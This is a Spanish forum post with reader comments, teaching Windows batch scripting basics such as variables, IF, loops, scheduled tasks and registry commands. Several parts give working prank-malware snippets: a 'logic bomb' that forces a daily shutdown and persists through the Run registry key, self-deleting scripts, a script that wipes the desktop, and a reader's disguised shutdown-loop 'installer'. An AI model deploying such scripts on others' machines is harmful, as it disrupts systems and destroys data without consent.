Anuncios Google

lenguaje en batch

 que necesitamos:

.-windows xp/vista

.-block de notas

.-unos pocos minutos de tiempo

.-un teclado XD

 Indice

1. Batch
1.1 Codigos Basicos y Pequeña Practica Iniciativa
1.2 guardando el Batch
2. Variables
2.1 Variables del entorno
3. Bombas logicas y Virus en Batch
4. IF (not) y IF (NOT) EXIST
4.1 Aplicacion del IF a las variables y menus
5. Bucles
6. Mejorar el Diseño de menus
7. Automatizando Tareas (AT)
8. Utilizacion de comandos de red
9. Redirecciones
10. %0, %1, etc.
11. Manejo del Registro

I---------------------------------------------I

1. batch

batch no es un lenguaje, ya que no permite crgar imagenes ni mucho mas, batch no es muy potente, pero permite usar comandos del

CMD (SIMBOLO DEL SISTEMA) tales como el IF o el IF  EXIXT


I---------------------------------------------I

1.1 Codigos Basicos y Pequeña Practica

1->ejecuta el block de notas o cualquier editor de texto plano (no sirve el microsof world)

comancos basicos

Código:
*ECHO: imprime un texto en pantalla
*@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa.
* DIR: muestra un listado con el contenido de un directorio.
* TYPE: muestra el contenido de un archivo en pantalla.
* COPY: copia archivos en otro lugar.
* REN (RENAME): renombra archivos.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o    archivos borrados hubiese sido utilizado con posterioridad
* MD o MKDIR: crea un nuevo directorio.
* CD o CHDIR: cambia el directorio actual por el especificado.
* RD o RMDIR: borra un directorio vacío.
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
* CLS: limpia la pantalla.
* HELP: ayuda sobre las distintas órdenes.
* SORT: ordena Datos
*SHUTDOWN: apaga el ordenador

Ahora a la practica

Abres el Block y escribes esto


Código:
@echo off
title Primer Programa
echo presiona una tecla
pause
echo hola
pause > nul
exit


Aca una screen del codigo anterior luego de ser compilado y funcionando:

Ahora expliquemos el codigo que copiaste.

Código: @echo off

esto hace que no se vea el codigo fuente de nuesto batch si se viera la victima sabria si es un virus o no

Código: title

este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.

Código: echo

sirve para imprimir texto en la pantalla
por ejemplo
echo hola
en la pantalla apareceria "hola"

Código: pause

Esto crea una pausa en el batch

Código: pause > nul


esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice "presione un tecla para proseguir"

I---------------------------------------------I

1.2 ¿Como guardo el Batch?

Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como...

Luego en el nombre ponemos el nombre que le queramos poner pero debe tener la extension .bat Tambien nos aseguramos que abajo ponga "todos los archivos"

                                                   I---------------------------------------------I

2. Variables

DEFINICION

Las variables se usan en la mayoria de los lenguajes de programacion. Son datos que pueden ir cambiando a medida que el programa prende. Las variables pueden tener diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas.


OJO-> Cuando ejecutas una variable en batch siempre se ponen entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %zero%

A LA PRACTICA

comenzaremos examinando el codigo siguiente:

Código: @echo off
title variables
echo bienvenido al ejercicio para aprender variables
echo .
echo presiona una tecla para continuar
pause > nul
set /p nombre=como te llamas?
set /p edad=cuantos anios tenes?
set /p comida= que comes?
pause > nul
echo hola %nombre%
echo veo que tienes %edad% anios verdad?
echo como rayos te puede gustar %comida%?
pause > nul
exit

Ahora Examinemos el codigo:

Código: set /p nombre=como te llamas?


con esto damos a llamar a una variable "set /p" es para preguntar el valor de la varieble y "nombre" seria el nombre de la variable luego "=como te llamas" seria la pregunta a responder por  el que ejecuta el batch (no aparece el signo "=" en la pregunta)

%nombre%                                                                                                                                                                                                                             es la variable lo cual cuando pongamos %nombre% saldra la respuesta de la pregunta set /p nombre=como te llamas? lo mismo pasa con %edad% y %comida%


 

tambien se le puede poner el valor a una variable sin preguntar Código: set var=pesos

--

Código: echo hola %nombre% veo que tienes %edad% anios verdad? como rayos te puede gustar %comida%? XD
exit

este codigo lo deberias entender

este seria el ejemplo del programa corriendo asi se entiende mejor:

Código: Bienvenidos al ejercicio para aprender variables
.
Presione una tecla para continuar

como te llamas? holy
que edad tienes? 14
que comes? nada

hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD

                                      I---------------------------------------------I

2.1 Variables del entorno
hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para hacer que funcionen las ordenes del batch que hagamos. Por ejemplo:
nosotros hacemos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"
logicamente pondremos que busque en la ruta c:/windows/system32/
pero que pasa si la vistima no tiene unidad c: y lo tiene instaldo en la particion e:? claro el batch dira que no estan pero en realidad si estan pero en otra unidad entonses para evitar este tipo de errores usaremos las variables de entorno, que son estas:

Código: %ALLUSERSPROFILE% ------> todos los usuarios
%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz

en este caso hechariamos mano de "%homedrive%". Pongamos el ejemplo con un simple batch que ejecuta el notepad

Código: @echo off
title pruba
echo ahora se ejecutara el notepad
%homedrive%/windows/system32/notepad.exe
exit


en caso de que tubieramos en el disco c:

eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de hacer un batch.

                                                    I---------------------------------------------I

3. Bombas Logicas y Virus en Batch

es facil crear virus en batch (si se pueden llamar virus...). A continuacion  mostrare una forma de crear una pequeña bomba logica en batch que hara que se apage el ordenador  a las 17:00 todos los dias.

¿que es una bomba logica?
es una especie de virus que cada cierto tiempo hace algo ejemplo: todos los dias a las 2 de la noche borra un archivo

Mira este codigo

Código: shutdown -s -f -t 15 -c "muere"

Ahora porque este codigo

Código: shutdown

apaga el equipo

Código: -s

activa apagar el equipo

Código: -f

Fuerza a las aplicaciones activas a cerrarse

Código: -t xx

Es el tiempo en el que tardara en apagarse en ordenador.(xx representa el numero de tiempo)

Código: -c "x"

muestra un mensaje con lo que quieras (donde esta la x pones el mensaje)

--------------------------------------------------------------------------------
entonces si creamos un batch que se inicie con windows y apage el pc de la victima a las 17:00 molestara mucho a la victima.

Código: @echo off
AT 17:00 shutdown -s -f -t 2 -c "Jodete" >> c:/windows/system32/windosx.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/windosx.bat"
exit

lo que haria seria apagar el pc en 2 segundos a las 17:00 de cada dia y agregarse al registro de windows, osea que su pc se apagara en 2 segs. todos los dias a las 17:00.

I---------------------------------------------I

4. IF (not) y IF (NOT) EXIST

IF es un comando que permite verificar algo. Si es verdadero o no hace una accion determinada. Su principal funcion en los batch es verificar si alguna variable es "tal" valor numerico. Aqui mostraremos un claro ejemplo de su funcion

Código: @echo off
set /p var=cuanto es 1+1??
if %var%==2 (echo bien) else echo mal
pause

En cambio IF NOT es exactamente lo contrario, verifica que algo no sea igual a un valor que pondremos. Aqui se ve claramente:

Código: @echo off
set /p var=cuanto es 1+1??
if not %var%==2 (echo mal) else echo bien
pause

IF (NOT) EXIST verifica que exista cierto archivo. Tiene un funcionamiento identico al IF (NOT), solo que trabajo sobre archivos y no valores alfanumericos. Lo verificamos con esto:

Código: @echo off
if exist c:/windows/system32/explorer.exe (echo tenes explorer.exe) else echo no tenes explorer.exe
pause > nul

I---------------------------------------------I

4.1 Aplicacion del IF a las variables y menus                                                                                                                                                                            IF nos ayuda a la hora de crear menus. Ya que podemos asignarle un numero a cada opcion del menú y asi cuando el usuario ingrese cierto numero nos llevara al lugar designado.

Código: @echo off
:menu
echo 1. ping a google
echo 2. ping a wikipedia
set /p var=a quien quieres hacer un ping??

if %var%==1 (goto goo)
if %var%==2 (goto wiki)
if %var%=="" (goto menu)

:goo
ping [url]www.google.com[/url]
pause
goto menu

:wiki
ping [url]www.wikipedia.com[/url]
pause
goto menu

                                      I---------------------------------------------I

5. Bucles

Los bucles son comandos que se ejecutan muchas veces, generalmente indefinidament e. Estos bucles se pueden realizar muy facilmente con etiquetas tal como en el siguiente ejemplo.

Código: @echo off
:bucle
echo holy manda!
goto bucle

como ven si lo prueban, se ejecutara el comando infinitamente hasta que cerremos el programa.
Pero tambien se puede hacer que el comando se ejecute un numero de veces determinado con el uso de una variante del SET y el IF. Aqui se los muestro con un clarisimo ejemplo.

Código: @echo off
set var=10

:bucle
if %var%==0 (goto exit) else set /A var=%var%-1
echo hola viteh!
goto bucle

:exit
echo hola
pause
exit

                                          I---------------------------------------------I

6. Mejorar el Diseño de menus

Hay simbolos que al imprimirlos mediante la variable echo cambian de forma. Con ciertos caracteres tales como "Í" se pueden crear tablas,
columnas, etc. Aqui les mostrare de que se trata esto. Nos sirve para darle nuevos look's a los convencionales menus de "1. opcion uno".
 Aclaro que la idea original es de espectro infernal, yo solo adapto lo que se y lo transmito.
El simbolo "Í" que anteriormente les mostraba como ejemplo quedaria asi luego de imprimirlo:
Como ven parece un igual, pero tiene una diferencia, no deja espacio entre caracteres lo que permite una cadena de =. Tal como la siguiente imagen:
Hay mas codigos. Les dejo el terminado para que prueben y vean el resultado de convinaciones de estos caracteres.
Tambien pueden crear sus propias tablas personalizadas . Los caracteres mas usados son "ÿ,Í,ÿ,¼,»,º."

Código: echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º - PRIMERA OPCION  º echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ


                                                                              I---------------------------------------------I

7. Automatizando Tareas (AT)
El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha indicada. Por ejemplo que el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos los dias. Aqui les mostrare unos ejemplos y veran los facil  es.

Código: @echo off
at 4:00 shutdown -s -f -t 01
pause > nul
exit

Código: @echo off
at /next:4 4:00 shutdown -s -f -t 01
pause > nul
exit

Código: @echo off
at /every:4/2 4:00 shutdown -s -f -t 01
pause > nul
exit

Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria agregar un add reg.

Código: @echo off
rem este codigo contiene una redireccion, estan explicadas en un prox capitulo.
at 3:00 shutdown -s -f -t 05 > c:/shut.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/shut.bat"
del %0
exit

Si ponemos una tarea accidentalment e, por ej.

Código: at 17:30 format e:

podemos usar un parametro que nos permite eliminar las tareas. Esto se realiza mediante la agregacion de el parametro /delete "id de tarea". Si se omite el id, se borraran todas.

Código: @echo off
at /delete
exit

                                                         I---------------------------------------------I

8. Utilizacion de comandos de red

Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales como pings, fingers, netbios, telnet, etc. comandos:

Código: FTP
Iniciar el cliente ftp

IPCONFIG parámetros
Mostrar las características de configuración de IP
/all -> muestra toda la información de configuracion /release adaptador -> libera la ip del adaptador especificado
/renew adaptador -> renueva la ip para el adaptador especificado
/flushdns -> purga la caché de resolución de dns
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns -> muestra el contenido de la cache de resolución dns
 
NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?

NET parámetros
Comando para el uso de redes netbios
   USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
USE \USER: dominio\usuario para acceder a un dominio
USE unidad /DELETE eliminar el acceso a unidad compartida.
SHARE trayecto /REMARK texto -> para compartir un recurso en red
START -> para comenzar sesión netbios
STOP -> para detener netbios

NETSTAT
Para ver el estado de la red.
-a -> mostrar todos los puertos y conexiones
-n -> mostrar números de puertos y direcciones
-r -> mostrar la tabla de rutas
-s -> mostrar estadísticas por protocolo
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas

NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias

PING
Enivia paquetes a un host para comprovar su disponibilidad

TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior

TRACERT destino
muestra el camino que se toma hasta llegar a la ip

                                           I---------------------------------------------I

9. Redirecciones
Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por ejemplo para redireccionar un comando a un archivo.

Código: @echo off
shutdown -s -f -t 01 >> "c:/shut.bat"

En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por ejemplo un virus que se autoelimine para no dejar rastros.

Código: @echo off
del /f /q c:/documents and settings/%currentuser%/escritorio/*.* > "c:/windows/system32/sysdoc.bat"
del /f /q %0

rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo
Tambien se puede redireccionar a un dispositivo. Por ejemplo a la impresora con:

Código: echo hola > prn
Supuestamente este code tendria que salir por la impresora. Aqui les dejo los valores

DISPOSITIVO -- SALIDA
CON -- Salida por la pantalla
PRN -- Salida por la impresora por defecto
LPT1 -- Salida por la 1º impresora en paralelo
COM1 -- Salida por el primer puerto serie
COM2 -- Salida por el segundo puerto serie

I---------------------------------------------I

10. %0, %1, etc.

Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran explicados con ejemplos.
%0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero se comprueba con este ejemplo:

Código: @echo off
del /f /q %0
exit

Copien el codigo y compilenlo, luego ejecutenlo y vean que pasa. Ahi entenderan el concepto 100%.

Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los parametros que se pueden espesificar para un comando. Tal como

Código:

Código: dir /p

en este caso "/p" seria igual a %1.
Entonses si ponemos

Código: del /f /q

"/f" es %1 y "/q" es %2

Es algo complicado en un principio, pero una vez que se aprende te daz cuenta que es muy simple. Es principalmente escencial para modificar el funcionamiento de los programas y/o crear ayudas como en lso comandos default de windows.

Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para el programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer parametro, no ejecute el programa normalmente, sino que ejecute la ayuda del programa. Aqui les he traido un simple code que demuestra el funcionamiento de etas varibles, gurdenlo con el nombre prueba.bat, luego en la consola vayan a la ruta donde lo guardaron y ejecutenlo de este modo:

C:\Documents and Settings\administrador\Escritorio\>prueba.bat /help

y luego solo normalmente

C:\Documents and Settings\Francisco\Escritorio\>prueba.bat

Código: @echo off
title Ejemplo de variables
if %1==/help (goto help) else goto :tex

:help
echo Esta es la ayuda
echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help
pause
exit

:tex
echo De esta forma se ejecuta el programa normalmente
pause
exit

                                           I---------------------------------------------I

11. Manejo del Registro
Accesar al registro es algo fundamental si queremos hacer algo como un virus o algo asi. Esto es posible mediante el comando "reg". Este comando tiene infinitas posibilidades. Hay muchos parametros que se peude espesificar y muchas funcionalidade s. Tratare de explicarlas lo mas clara y simplemente. Estos son solos los mas importantes, hay otros pero con estos ya es suficiente.
Los tipos de "reg" son los siguientes:

Código: REG ADD / Para agregar una clave al registro
REG QUERY / Para consultar una clave
REG EXPORT / Para exportar claves
REG IMPORT / Importa una clave exporta anteriormente con EXPORT.
REG COMPARE / compara una clave con otra.
REG ADD


Aqui les mostrare un ejemplo para que quede claro su llamado y funcionamiento .
ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d "c:/windows/system32/shut.bat"
Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la ruta de nuestro bat.

REG QUERY
REG QUERY clave [/v nvalor | /ve][/s]
clave [\equipo\]clave
equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles HKLM y HKU en equipos remotos.
clave: Con la forma nombre de CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada.
/v consulta para una clave de registro específica
nvalor: nombre en la clave seleccionada para consultar.
Si se omite, se consultará en todos los valores de la clave.
/ve Consultar el valor predeterminado o el de nombre vacío <sin nombre>
/s Consultar todas las subclaves y valores Ejemplos: REG QUERY HKLM\Software\Microsoft\ResT /v Version
Muestra el valor del valor Version del registro. REG QUERY HKLM\Software\Microsoft\ResT\Setup /s
Muestra todas las subclaves y valores en la clave de registro Setup.

REG EXPORT

clave ROOTKEY\subclave (sólo equipo local)
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
subclave El nombre completo de la clave del registro dentro del valor
ROOTKEY seleccionado
archivo El nombre del archivo de disco para exportar

Ejemplos:

REG EXPORT HKLM\Software\MiCo\MiAp CopiaAp.reg
Exporta todas las subclaves y valores de la clave MiAp al archivo
CopiaAp.reg

REG IMPORT
Importa una clave importada con reg export.

REG IMPORT "c:/loquesea.reg"

REG COMPARE
Compara 2 claves de registro.

REG COMPARE HKLM\Software\MiCo\MiAp HKLM\Software\MiCo\GuardaMiAp
Compara todos los valores dentro de la clave MiAp con GuardaMiAp

REG COMPARE HKLM\Software\MiCo HKLM\Software\MiCo1 /v Version
Compara el valor Version en las claves MiCo y MiCo1

REG COMPARE \\ZODIAC\HKLM\Software\MiCo \\. /s
Compara todas las subclaves y valores en HKLM\Software\MiCo de ZODIAC
con la misma clave del equipo actual

 fuente--> mundonet


Anuncios Google

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.

Como verificar una clave en regedit?

Hola, como puedo crear un bat que ejecuta una instalacion (por ejemplo: SETUP /ADMINFILE Install.msp) SOLAMENTE si el nombre del equipo corresponde al deseado ?

el nombre del equipo se encuentra en la clave REGEDIT :

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName]
"ComputerName"="NOMBREDELPC"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName]
"ComputerName"="NOMBREDELPC"

COMO LO HAGO?

 

Imagen de supersonic_101

Me gusta! Es más ya inventé

Me gusta! Es más ya inventé (y publicaron) un "programa" llamado "AutoSNEEK Maker". Una sola pregunta:"¿Es pocible colocar acentos?", por ejemplo:

@echo off
echo Instalación
pause

Y aparece:
Instalaci¾n
Presione una tecla para continuar . . .


Tienes dudas, pasate por aquí

Imagen de pspgorrister

chcp /?

chcp /?

Imagen de supersonic_101

¿Como se utiliza?

¿Como se utiliza?

Imagen de Monty - Calabato64

No revivamos, por favor.

No revivamos, por favor.

Imagen de the dragon lives

por que no

Esta posteando en el lugar correcto

Imagen de Kyngo

Cierto

Mas, si necesita ayuda, mejor esto a crear posts en el foro...

Y, la respuesta a tu pregunta es: Sí, se puede. ¿Cómo? No lo sé. Pero poderse, se puede.

¡Saludos!



Wii 4.3E, sobrevivió a un Full Brick gracias al Chip InFeCtuS... ^^
http://elrapdelpinguino.wordpress.com
Kyngo's System Checker - www.scenebeta.com
-----------------------------------------
Debemos aprender a aceptar a los demás por cómo son, no por quienes son.
Si seguimos siendo tan superficiales, el mundo acabarña realmente peor...

Imagen de Mask3r

muy bien

muy bien por tu tutorial, aunque yo ya sabía batch, eso y mas, te faltaba un poco de informacion pero eran demasiado "profesionales" ¿me explico? avanzados. 

dew Wink


AutoIt Scripter

 

LanChat 1.3, Tu chat para red local.

Imagen de Almamu

Varias pregunta

Bueno, estoy haciendo varios programas para mantenimiento del PC con un programa que inicia los .bat y tengo varias preguntas:

¿Cómo puedo hacer que el .bat acceda a una carpeta oculta para eliminar su contenido o  visualizarlo en la ventana? Porque estuve intentando que elimine los archivos de una carpeta oculta pero no me dejó, en cambio acceder a la carpeta del Recycle Bin que oculta Windows si que me dejó, ¿puede ser porque la carpeta lleva un acento en su nombre?

¿Cómo puedo hacer que el .bat haga una copia TOTAL del registro del PC(Me refiero al del Windows)?

¿Cómo puedo hacer que un .bat sea universal para todos los Windows?En esto me refiero a que por ejemplo, para eliminar contenido de la carpeta Cookies(esta en C:\Documents and Settings\usuari\Cookies\) no tengas que introducir tu nombre de usuario en el programa que inicia los .bat(el que los escribe)

 

¿Cómo puedo hacer que el .bat restablezca una copia TOTAL de registro del PC(Me refiero al del Windows)?

 

Gracias de antemano.

 

 

P.D: Tengo mas preguntas pero ahora no me acuerdo


Imagen de Pana

Juraria que la variable para

Juraria que la variable para el usuario es $USER. Pon $USER donde vaya el usuario y se pondrá el usuario actual.

Imagen de NeoSmith

Cito de ariba,

%ALLUSERSPROFILE% ------> todos los usuarios
%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz

ESto va muy bien cuando no sabes por ejemplo que nombre de usuario tendra, si tendra windows en el disco duro c: o le habra dado otro nombre o lo que sea, te soluciona diversas variables.

Imagen de Almamu

Otra pregunta

¿Cómo puedo hacer que el .bat baje archivos de internet y los inicie?

¿Cómo puedo hacer que el .bat sea imposible eliminarlo?

Gracias.


Imagen de NeoSmith

Pues para la primera harias como

si abrieras una pagina web, pones la direccion de descarga y listos, lo que no se como hacer es para que no pida confirmacion de donde lo queieres guardar. Eso ya tendria que investigar a ver si se puede.

Y despues ejecutarlo, pues en el batch pones que abra ese archivo y listos.

Ejemplo:

start www.scenebeta.com/direcion_del_archivo_a_descargar.exe ( o el formato que sea depende de lo que quieras)

(una vez se haya bajado pues)

%homedrive%/ruta_del_archivo/archivo_descargado.exe(y con esto lo ejecuta)

Imagen de victor141516

Para lo segundo

Pues o darle a "Solo lectura", aunque se puede quitar, o haciendo un programa que use continuamente el BAT, aunque con el Unlocker se puede quitar...


 

 

"El pueblo no debería temer a sus gobernantes, son los gobernantes los que deberían de temer al pueblo"

Imagen de Tanos

Para todo eso

No creo que Batch sea suficiente.

Imagen de Link_4Ever

Muy buen toturial

Lo aprendí todo hasta el capitulo 7, porque desde ese capítulo no logré aprender nada =S

Imagen de Pana

Lenguaje batch.... Está

Lenguaje batch.... Está bien para tener cultura, pero funcional 0.

Dependiendo para que comandos, necesitarás instalar en el windows algunos archivos cmd, lo que hace que el batch depende da muchos archivos externos.

De todas formas, para windows no lo veo nada útil. Yo creo que el lenguaje batch está más indicado a MS-DOS, con lo que puedes hacerte un disket de arranque con utilidades como el scandisk, o format... Pero ya está, aquí acabó todo.

Saludos.

Imagen de NITEMAN

Si tu supieras...

Mira que decir que funcional 0... Yo lo uso a diario para administrar sistemas en casa y en el trabajo (junto con vbs).

Así historicamente comentarte que el lenguaje BATCH era el encargado de avisarnos cuando el servidor web se nos caia en windows, de reiniciarlo y de hacer los backups...

En cuanto a su dependencia de archivos externos es muy pequeña, además hay herramientas que permiten empaquetarlo como exe junto con los archivos que necesite. Si depende de algo son de las políticas de sistema en dominios windows (tanto los bat como los scripts Cscript y Wscript)...

Así como utilidades destacables, a parte de los backups, te mencionaré que yo tengo un batch que cuando la SAI principal de la oficina detecta un corte de corriente envia una orden de apagado inmediato a todos los servidores para evitar que se pierda información.

Salu2


"El paraí­so a mi derecha, el infierno a mi izquierda y el ángel de la muerte tras de mi."

Imagen de Pana

Si, claro como Script's es

Si, claro como Script's es perfecto, pero como la gente empieza a preguntar por cargar imagenes y demás... No hay que olvidar que el lenguaje batch no es más que un archivo con lineas de comandos. Vaya, que es como una nota de "tareas por hacer" que se realizan automáticamente sin necesidad de que el informático lo pique (son comandos MS-DOS). Vaya, es lo que yo entiendo por lenguaje batch. Quizás habría que hacer un "tutorial" (si este sale a flote) explicando que es el lenguaje batch, aplicaciones y limitaciones. Para que la gente le quede claro y que esto está muy lejos a lo que es la programación "populista".

Esto es como (salvando las distancias abismales :D) cobol, que dudo que le interese a la gran masa (ya que para hacer juegos, funcional 0 XD), pero si tiene una función clara para bancos.

Solo me referia a eso, gracias por aclararlo (o hacermelo aclarar) ;).

Imagen de Almamu

Hay alguna manera de borrar

Hay alguna manera de borrar las claves de registro creadas? Es para un miniprogramilla-virus con su propio eliminador, pero necesito borrar las claves de registro.

P.D: Creeen que un amigo qeu no sabe casi nada de PC se tragara estos 2 batch?

@echo off
title Abrir puertos 8080 y 9090
echo Abriendo los puertos 8080 y 9090
echo Registrando los puertos...
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/puertos.bat"
pause
echo El ordenador se tiene que apagar
echo cuando este apagado enchufelo.
shutdown -s -f -t 15 -c "Instalacion del puerto, no es un error."
pause > nul
exit

El instalador, me falta poner para que se copie el archivo puertos.bat

y aqui el codigo del puertos.bat:

@echo off
shutdown -s -f -t 15 -c "Error al iniciar explorer.exe"
exit

xDD a ver si se lo traga, xDD


Imagen de Tanos

Ahmm

Me gusta la creatividad, pero la que está bien aplicada.

Espero no volver a ver alguna pregunta que tenga que ver con Virus. Scenebeta, simplemente no apoya esas prácticas.

Imagen de Almamu

Es una broma para un amigo

Es una broma para un amigo mio, xDDDD. Ya no me hace falta el codigo para eliminar la clave de registro, lo encontre en un foro.

Imagen de NITEMAN

Te importa compartirlo?

Así el autor podrá añadirlo al tutorial...

Salu2

Imagen de Almamu

El codigo de borrar la

El codigo de borrar la clave de registro es simple:

REG DELETE "calve de registro con su direccion exacta"

Imagen de rubenelportero

ya lo e reeditado

lo cual ya solamente el 5% del tutorial es original de mundonet.us el 95% es mio cualkier duda o algun error en el tutorial aganmelo saber por medio de algun comentario

Imagen de KiiKeEp

jajajaj

como recuerdo, un dia, a un amigo, le hize un batch, para que este le copiara todas las *.dll de la carpeta de winbugs en su escritorio JAJAJA


twitter / KiiKeEp

Imagen de Ulind

Preguntas

  1. ¿Como puedo cargar imagenes en batch?
  2. ¿Como se puede arreglar lo del "virus" que cierra el pc? Asi por lo menos lo puedotestearo, que tengo muxas curiosidad probarlo :D
  3. Salu2

subir imagenes

Imagen de NITEMAN

No os confundais

Batch es, por así decirlo, un lenguaje de scripting, y no muy potente. Olvidaros de cargar gráficos.

Respecto a lo de cerrar el PC hay cientos de formas con llamadas a windows desde el típico shutdown hasta llamadas por wmi o RPC.

Salu2 


"El paraí­so a mi derecha, el infierno a mi izquierda y el ángel de la muerte tras de mi."

Imagen de Ulind

ahh xD creia q se podian

ahh xD creia q se podian cargar jaja

Sobre lo del pc lo se como se puede hacer pero me refiero a arreglero. ¿Simplemente se borra el archivo que cierra el pc para arreglaro?

salu2


subir imagenes

Imagen de NITEMAN

Depende

Depende de como se haya hecho, pero si es un script o un batch sí bastaría cone eliminarlo.

Salu2 

Imagen de Ulind

aa ok gracias... si es un

aa ok gracias...

si es un script en batch, lo he hecho con el shutdown asi q borrandolo funcionara :D

Gracias tio

Imagen de RuGuEr

Haciendo un virus(fake)

@echo off
echo YOU HAVE A VIRUS ON YOU COMPUTER
titulo VIRUSSSSSS
Color 04
pause
echo Verificando el anti-virus...
pause
echo Quiere eliminar el antivirus actual?
pause
echo ACESO DENEGADO
echo ACESO DENEGADO
echo ACESO DENEGADO
pause
echo ACTIVANDO VIRUS...
echo VIRUS ACTITIVADO!!!
pause
:1
dir/s
goto 1


Ruguer el duro.

Imagen de Mask3r

mejor asi no?

@echo off
echo YOU HAVE A VIRUS ON YOU COMPUTER
titulo VIRUSSSSSS
Color a
pause
echo Verificando el anti-virus...
ping localhost >nul
echo Quiere eliminar el antivirus actual?
pause >nul
echo ACESO DENEGADO
echo ACESO DENEGADO
echo ACESO DENEGADO                                                                                                                                                                           cls
ping localhost >nul
echo ACTIVANDO VIRUS...                                                                                                                                                                       ping localhost >nul
echo VIRUS ACTITIVADO!!!
pause
:1
echo 1001010001010110101110101010101010101101010101

echo 1011010101101010010001010100101010100110010101

echo 1010100101001001001010101011001010101010101010

echo 10101001010101010100110010100101010101010101001

echo 10101010101001010101101010101001010101010011001

goto 1


AutoIt Scripter

 

LanChat 1.3, Tu chat para red local.

Imagen de RuGuEr

je, je, je, es mucho mejor

je, je, je, es mucho mejor xD

Imagen de Mask3r

que mal

que mal estructurao está, por Dios. Ahí le faltan mas cosas que a un batch que creó un amigo mio (solo sabia poner echo, pause y exit). y decia que sabia hacer virus. yo se ya Autoit, Bat, un poco de palib y un poco de C++, html, php y javascript. el tuto esta bien. meteros aquí: M2Soft


AutoIt Scripter

 

LanChat 1.3, Tu chat para red local.

Imagen de Ulind

jaja me recuerdo que yo

jaja me recuerdo que yo tambien hize uno falso en C y se lo pase a ruguer pero no lo ha creido ¬¬ Tenias razon de lo que no puedo hacer esto jajaja

jaja weno, otros lo han creido y como mola cuando se asustan xD

Salu2


subir imagenes

Imagen de Almamu

Jajajaja, yo le hice otro a

Jajajaja, yo le hice otro a un amigo mio con Game Maker, se asusto entero xDDD cada vez que iniciaba el PC se apagaba, hice un parche para borrarlo por si me apetecia, diciendole como que era un antivirus, xDDDDDDD


Imagen de rubenelportero

portada

si algun se molesta en mirarlo porfavor que lo suba a portada

Imagen de recoco

fuente

y la fuente?

Imagen de rubenelportero

mundonet

me parece que era mundonet.org

Imagen de RuGuEr

Pero

fue un copy~paste, o fue explicado a tu manera?

Imagen de Silv3r X

si es copy paste

No ira a portada, eso seguro.

Imagen de rubenelportero

no es copy paste

buendo en si lo es pero lo e variado osea lo copie lo pegue y quite y puse con mis palabras, copy paste editado

Imagen de RuGuEr

Puedes pasar

el URL para que algún editor haga una comparación?

Imagen de Silv3r X

